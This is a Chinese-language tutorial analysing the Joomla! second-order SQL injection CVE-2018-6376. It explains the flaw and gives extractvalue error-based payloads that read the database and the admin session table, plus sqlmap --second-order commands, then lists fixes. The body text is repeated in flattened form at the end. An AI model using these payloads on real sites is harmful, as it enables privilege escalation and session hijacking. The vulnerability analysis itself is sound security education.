分析CVE-2018-6376 – Joomla!二阶SQL注入
字数 1524 2025-08-18 11:37:03

Joomla! 二阶SQL注入漏洞分析(CVE-2018-6376)教学文档

1. 漏洞概述

漏洞编号: CVE-2018-6376
影响版本: Joomla! 3.7.0 至 3.8.3
漏洞类型: 二阶SQL注入
危害等级: 高危
影响: 低权限用户(如Manager)可提升为高权限用户(Administrator或Super Administrator)

2. 二阶SQL注入原理

二阶SQL注入是指:

  • 应用程序对用户输入进行了转义(escape)处理
  • 但这些数据在后续查询中被以未转义的形式重复使用
  • 攻击者注入的PAYLOAD会在后续查询中被执行

与一阶SQL注入的区别在于,注入的PAYLOAD不会立即执行,而是先被存储到数据库中,在后续操作中才被触发执行。

3. 漏洞详细分析

3.1 漏洞位置

受影响的功能位于:

  • 用户配置文件更新页面(/administrator/index.php?option=com_admin&view=profile&layout=edit)
  • 具体参数:forms[params][admin_style]

3.2 漏洞利用流程

  1. 低权限用户登录:以Manager权限用户(如"savan")登录后台
  2. 拦截修改请求:使用Burp Suite拦截用户资料更新请求
  3. 注入PAYLOAD:在forms[params][admin_style]参数中注入SQL代码
  4. 触发执行:访问后台首页(/administrator/index.php)触发SQL查询执行

3.3 关键代码分析

漏洞存在于两个关键文件中:

  1. /administrator/components/com_admin/controllers/profile.php

    • 处理用户资料更新
    • 将用户输入(包括admin_style参数)存储到数据库,未进行充分过滤
  2. /administrator/templates/hathor/postinstall/hathormessage.php

    • 第40行:从admin_style参数获取用户输入值
    • 第47行:直接使用用户输入构建SQL查询,未进行转义处理

4. 漏洞利用步骤

4.1 手动利用

  1. 基本测试

    • 注入单引号'测试是否存在注入
    • 观察是否出现SQL错误或异常行为
  2. 确认注入点

    • 发现admin_style参数被视为数组
    • 需要使用jform[params][admin_style][0]作为参数名才能正确注入
  3. 获取数据库信息

    extractvalue(0x0a,concat(0x0a,(select database())))
    
  4. 获取管理员session

    extractvalue(0x0a,concat(0x0a,(select * from joomla_session where username='amish')))
    
  5. 权限提升

    • 获取管理员session后,可模拟管理员身份登录

4.2 自动化利用(SQLMap)

  1. 准备请求文件

    • 将包含注入点的HTTP请求保存为文件(如1.txt)
    • jform[params][admin_style][0]参数值中使用*标记注入点
  2. 基本检测命令

    sqlmap -r 1.txt --dbms MySQL --second-order "http://target/joomla/administrator/index.php"
    
  3. 提取数据库信息

    sqlmap -r 1.txt --dbms MySQL --second-order "http://target/joomla/administrator/index.php" -D "joomla" --dbs
    

5. 防御措施

  1. 升级Joomla!:升级到3.8.5或更高版本
  2. 输入验证
    • 对所有用户输入进行严格验证
    • 使用参数化查询或预处理语句
  3. 最小权限原则:限制数据库用户权限
  4. 代码层修复
    • admin_style参数进行严格过滤
    • 避免直接使用用户输入构建SQL查询

6. 学习要点

  1. 二阶SQL注入的特点和利用方式
  2. Joomla!后台权限提升的攻击链
  3. 复杂参数名(如数组形式)的注入技巧
  4. SQLMap在二阶注入中的特殊使用方法
  5. 从错误信息中提取有用信息的方法

7. 参考资源

  1. RIPS技术博客分析
  2. PortSwigger关于二阶SQL注入的说明
  3. Joomla!官方安全公告
Joomla ! 二阶SQL注入漏洞分析(CVE-2018-6376)教学文档 1. 漏洞概述 漏洞编号 : CVE-2018-6376 影响版本 : Joomla ! 3.7.0 至 3.8.3 漏洞类型 : 二阶SQL注入 危害等级 : 高危 影响 : 低权限用户(如Manager)可提升为高权限用户(Administrator或Super Administrator) 2. 二阶SQL注入原理 二阶SQL注入是指: 应用程序对用户输入进行了转义(escape)处理 但这些数据在后续查询中被以未转义的形式重复使用 攻击者注入的PAYLOAD会在后续查询中被执行 与一阶SQL注入的区别在于,注入的PAYLOAD不会立即执行,而是先被存储到数据库中,在后续操作中才被触发执行。 3. 漏洞详细分析 3.1 漏洞位置 受影响的功能位于: 用户配置文件更新页面( /administrator/index.php?option=com_admin&view=profile&layout=edit ) 具体参数: forms[params][admin_style] 3.2 漏洞利用流程 低权限用户登录 :以Manager权限用户(如"savan")登录后台 拦截修改请求 :使用Burp Suite拦截用户资料更新请求 注入PAYLOAD :在 forms[params][admin_style] 参数中注入SQL代码 触发执行 :访问后台首页( /administrator/index.php )触发SQL查询执行 3.3 关键代码分析 漏洞存在于两个关键文件中: /administrator/components/com_ admin/controllers/profile.php 处理用户资料更新 将用户输入(包括 admin_style 参数)存储到数据库,未进行充分过滤 /administrator/templates/hathor/postinstall/hathormessage.php 第40行:从 admin_style 参数获取用户输入值 第47行:直接使用用户输入构建SQL查询,未进行转义处理 4. 漏洞利用步骤 4.1 手动利用 基本测试 : 注入单引号 ' 测试是否存在注入 观察是否出现SQL错误或异常行为 确认注入点 : 发现 admin_style 参数被视为数组 需要使用 jform[params][admin_style][0] 作为参数名才能正确注入 获取数据库信息 : 获取管理员session : 权限提升 : 获取管理员session后,可模拟管理员身份登录 4.2 自动化利用(SQLMap) 准备请求文件 : 将包含注入点的HTTP请求保存为文件(如1.txt) 在 jform[params][admin_style][0] 参数值中使用 * 标记注入点 基本检测命令 : 提取数据库信息 : 5. 防御措施 升级Joomla! :升级到3.8.5或更高版本 输入验证 : 对所有用户输入进行严格验证 使用参数化查询或预处理语句 最小权限原则 :限制数据库用户权限 代码层修复 : 对 admin_style 参数进行严格过滤 避免直接使用用户输入构建SQL查询 6. 学习要点 二阶SQL注入的特点和利用方式 Joomla !后台权限提升的攻击链 复杂参数名(如数组形式)的注入技巧 SQLMap在二阶注入中的特殊使用方法 从错误信息中提取有用信息的方法 7. 参考资源 RIPS技术博客分析 PortSwigger关于二阶SQL注入的说明 Joomla !官方安全公告